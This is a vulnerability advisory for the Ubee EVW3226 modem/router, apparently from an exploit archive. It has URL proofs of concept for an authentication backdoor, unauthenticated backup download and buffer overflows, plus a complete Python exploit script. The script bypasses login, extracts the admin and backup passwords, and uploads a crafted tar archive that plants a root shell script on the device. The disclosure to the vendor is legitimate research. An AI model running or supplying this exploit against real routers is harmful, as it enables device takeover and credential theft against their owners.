Ubee EVW3226 Modem/Router 1.0.20 – Multiple Vulnerabilities
''' Ubee EVW3226 modem/router multiple vulnerabilities -------------------------------------------------- Platforms / Firmware confirmed affected: - Ubee EVW3226, 1.0.20 - Product page: http://www.ubeeinteractive.com/products/cable/evw3226 Vulnerabilities --------------- Insecure session management The web interface does not use cookies at all. If admin login is successful, the IP address of the admin user is stored and everybody can access the management interface with the same IP. Local file inclusion Setup.cgi can read any file with .htm extension using directory traversal in the gonext parameter. Although the file must have htm extension, the local file inclusion can be used to map directories, because the response is different depending on whether directory exists or not. POC: http://<device_ip>/cgi-bin/setup.cgi?gonext=../www/main2 Backup file is not encrypted Although the web interface requires a password for encrypting the backup file, the encryption is not performed. In order to backup file password, the plain password is stored in the backup file, which is a standard tgz (gzipped tar) file with a simple header. Backup file disclosure When a user requests a backup file, the file is copied into www root in order to make download possible. However, the backup file is not removed from the www root after download. Since there is not any session check required to download the backup file, an attacker is able to download it without authentication from LAN until the next reboot. Since the backup file is not encrypted and contains the plain admin password, the router can be compromised from LAN. POC: http://<device_ip>/Configuration_file.cfg Authentication bypass (backdoor) The web interface bypasses authentication if the HTML request contains the factoryBypass parameter. In this case a valid session is created and the attacker can gain full control over the device. POC: http://<device_ip>/cgi-bin/setup.cgi?factoryBypass=1 Arbitrary code execution The configuration file restore function receives a compressed tar file, which is extracted to the /tmp folder. Tar files may contain symbolic links, which can link out from the extraction folder. By creating a configuration file with a symbolic link and a folder which uses this link, the attacker can write out from the backup folder and can overwrite any file in the writable file-system. Since www is copied to the writable file system at boot time (under /tmp), the attacker can insert a new cgi script that executes arbitrary code with root privileges. Default SSID and passphrase can be calculated The default SSID and passphrase are derived only from the MAC address. Since the MAC address of the device is broadcasted via WiFi, the default password can be calculated easily. Combined with code execution and factory bypass, even a botnet of Ubee routers can be deployed easily. Buffer overflow in configuration restore During the configuration restore process, the backup file password is read from the pass.txt file. If the password is large enough (larger than 65536), a stack based buffer overflow is caused, because the file content is loaded with fscanf(“%s”) to a stack based local variable. The stack based buffer overflow can be used to execute arbitrary code with root privileges. Buffer overflow in configuration file request The web interface identifies the configuration file download request by checking that the URL contains the Configuration_file.cfg string. If this string is found, the whole URL is copied into a stack based buffer, which can cause a buffer overflow. This stack based buffer overflow can be used to execute arbitrary code with root privileges without authentication. POC: http://192.168.0.1/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaConfiguration_file.cfg Buffer overflow in next file name The gonext variable in the POST requests specifies the HTML file, which the cgi script should be loaded. If the gonext variable is large enough (larger than 6512 bytes), a stack based buffer overflow is caused, which can be used to execute arbitrary code with root privileges without authentication. Communication on the UPC Wi-Free can be sniffed within the device The UPC Wi-Free communication is not separated correctly inside the device, because the whole communication can be sniffed after gaining root access to the device. Timeline -------- - 2015.06.24: Presenting the Ubee router problems to the CTO of UPC Magyarorszag - 2015.07.16: UPC contacted Ubee and required some more proof about some specific problems - 2015.07.16: Proofs, that the default passphrase calculation of the Ubee router was broken, were sent to UPC - 2015.07.20: UPC requested the POC code - 2015.07.21: POC code was sent to UPC - 2015.07.30: We sent some new issues affecting the Ubee router and other findings in Technicolor TC7200 and Cisco EPC3925 devices to UPC - Between 2015.07.31 and 08.12 there were several e-mail and phone communications between technical persons from Liberty Global to clarify the findings - 2015.08.19: UPC sent out advisory emails to its end users to change the default WiFi passphrase - 2015.09.16: Ubee Interactive also asked some questions about the vulnerabilities - 2015.09.24: We sent detailed answers to Ubee Interactive - 2016.01.27: UPC Magyarorszag send out a repeated warning to its end users about the importance of the change of the default passphrases. - 2016.02.16: Face to face meeting with Liberty Global security personnel in Amsterdam headquarters - 2016.02.18: A proposal was sent to Liberty Global suggesting a wardriving experiment in Budapest, Hungary to measure the rate of end users who are still using the default passphrases. POC --- POC script is available to demonstrate the following problems [3]: - Authentication bypass - Unauthenticated backup file access - Backup file password disclosure - Code execution Video demonstration is also available [1], which presents the above problems and how these can be combined to obtain full access to the modem. Recommendations --------------- Since only the ISP can update the firmware, we can recommend for users to change the WiFi passphrase. Credits ------- This vulnerability was discovered and researched by Gergely Eberhardt from SEARCH-LAB Ltd. (www.search-lab.hu) References ---------- [1] http://www.search-lab.hu/advisories/secadv-20160720 [2] https://youtu.be/cBclw7uUuO4 [3] https://github.com/ebux/Cable-modems/tree/master/Ubee ''' # # POC code for Ubee EVW3226 # # Demonstrates the following vulnerabilities # - Authentication bypass # - Unauthenticated backup file access # - Backup file password disclosure # - Code execution # # Credit: Gergely Eberhardt (@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu) # # Advisory: http://www.search-lab.hu/advisories/secadv-20150720 import sys import requests import tarfile import struct import binascii import re import shutil config_data = binascii.unhexlify('00003226FFA486BE000001151F8B0808EB7D4D570400706F635F636F6E666967' '2E74617200EDD53D4FC3301006E09BF32BDC30A78E9D3816AC8811898185D104' '8B4404C7CA1DA4FC7B121A900A0296A66A153FCBF96BB15F9D8C0DCC2E1D68AD' '87FA61A7EE8E65AEB48254C86C38CE247F351DA767CFFBBEE7308F1724D33106' '5DDBD21FC7FEDD3F51DE20AE6933EBD5C6648B3CFF3D7F21BEE52F649E014BE1' '00169EFFD5F5CDED9DC88A730896081B5E3ED6C97DED3859A43556B077DBF667' '3FD6BFDA5F291052CB4CEA421502C6DF221707EEFF853A5BF1317BAC225B562D' 'BB6C1D594709BD797BC1C86E88FBC6D46EBB1BC753AD4CF9641F1836AB389A96' '3C8A38F2F83975968687A5389A062C712682200882E058BC0383AF448C000E0000') class ubee: def __init__(self, addr, port): self.addr = addr self.port = port self.s = requests.Session() def getUri(self, uri): return 'http://%s:%d/%s'%(self.addr,self.port,uri) def authenticationBypass(self): self.s.get(self.getUri('cgi-bin/setup.cgi?factoryBypass=1')) self.s.get(self.getUri('cgi-bin/setup.cgi?gonext=main2')) def parseNVRam(self, nv): o = 0x1c pos = 2 nvdata = {} while(True): stype = struct.unpack('!H', nv[o:o+2])[0] slen = struct.unpack('!H', nv[o+2:o+4])[0] sval = nv[o+4:o+4+slen] nvdata[stype] = sval pos += slen o = o+slen+4 if (o >= len(nv) ): break return nvdata def parseBackupFile(self, fname): tar = tarfile.open("Configuration_file.cfg", "r:gz") for tarinfo in tar: if tarinfo.isreg(): if (tarinfo.name == 'pass.txt'): print 'config file password: %s'%(tar.extractfile(tarinfo).read()) elif (tarinfo.name == '1'): nvdata = self.parseNVRam(tar.extractfile(tarinfo).read()) print 'admin password: %s'%(nvdata[3]) tar.close() def saveBackup(self, r, fname): if r.status_code == 200: resp = '' for chunk in r: resp += chunk open(fname, 'wb').write(resp[0xc:]) def createBackupFile(self, fname): # get validcode (CSRF token) r = self.s.get(self.getUri('cgi-bin/setup.cgi?gonext=RgSystemBackupAndRecoveryBackup')) m = re.search('ValidCode = "([^"]+)"', r.text) if (m == None): print 'ValidCode is not found' return validCode = m.group(1) # create backup file r = self.s.get(self.getUri('cgi-bin/setup.cgi?gonext=Configuration_file.cfg&Password=secretpass&ValidCode=%s')%(validCode)) if (len(r.text) > 0): self.saveBackup(r, fname) def downloadBackupFile(self, fname): r = self.s.get(self.getUri('Configuration_file.cfg')) if (len(r.text) > 0): print len(r.text) self.saveBackup(r, fname) return True return False def restoreConfigFile(self, fname = '', passwd = 'badpasswd'): # get validcode (CSRF token) r = self.s.get(self.getUri('cgi-bin/setup.cgi?gonext=RgSystemBackupAndRecoveryRestore')) m = re.search('name="ValidCode" value="([^"]+)"', r.text) if (m == None): print 'ValidCode is not found' return validCode = m.group(1) # restore config file if (fname == ''): cfg_data = config_data else: cfg_data = open(fname, 'rb').read() r = self.s.post(self.getUri('cgi-bin/restore.cgi'), files=(('ValidCode', (None, validCode)), ('PasswordStr', (None, passwd)), ('browse', cfg_data), ('file_name', (None, 'Configuration_file.cfg')))) if (r.text.find('alert("Password Failure!")') > 0): return True else: return False def getShellResponse(self): r = self.s.get(self.getUri('cgi-bin/test.sh')) print r.text #------------------------------------ if (len(sys.argv) < 2): print 'ubee_evw3226_poc.py addr [port]' addr = sys.argv[1] port = 80 if (len(sys.argv) == 3): port = int(sys.argv[2]) # create ubee object u = ubee(addr, port) # perform authentication bypass u.authenticationBypass() # download backup file if it is exists (auth is not required) if (not u.downloadBackupFile('Configuration_file.cfg')): # create and download backup file (auth required) u.createBackupFile('Configuration_file.cfg') # parse downloaded file and get admin and backup file password u.parseBackupFile('Configuration_file.cfg') # execute shell command in the router if (u.restoreConfigFile()): print 'Shell installed' u.getShellResponse() else: print 'Shell install failed' |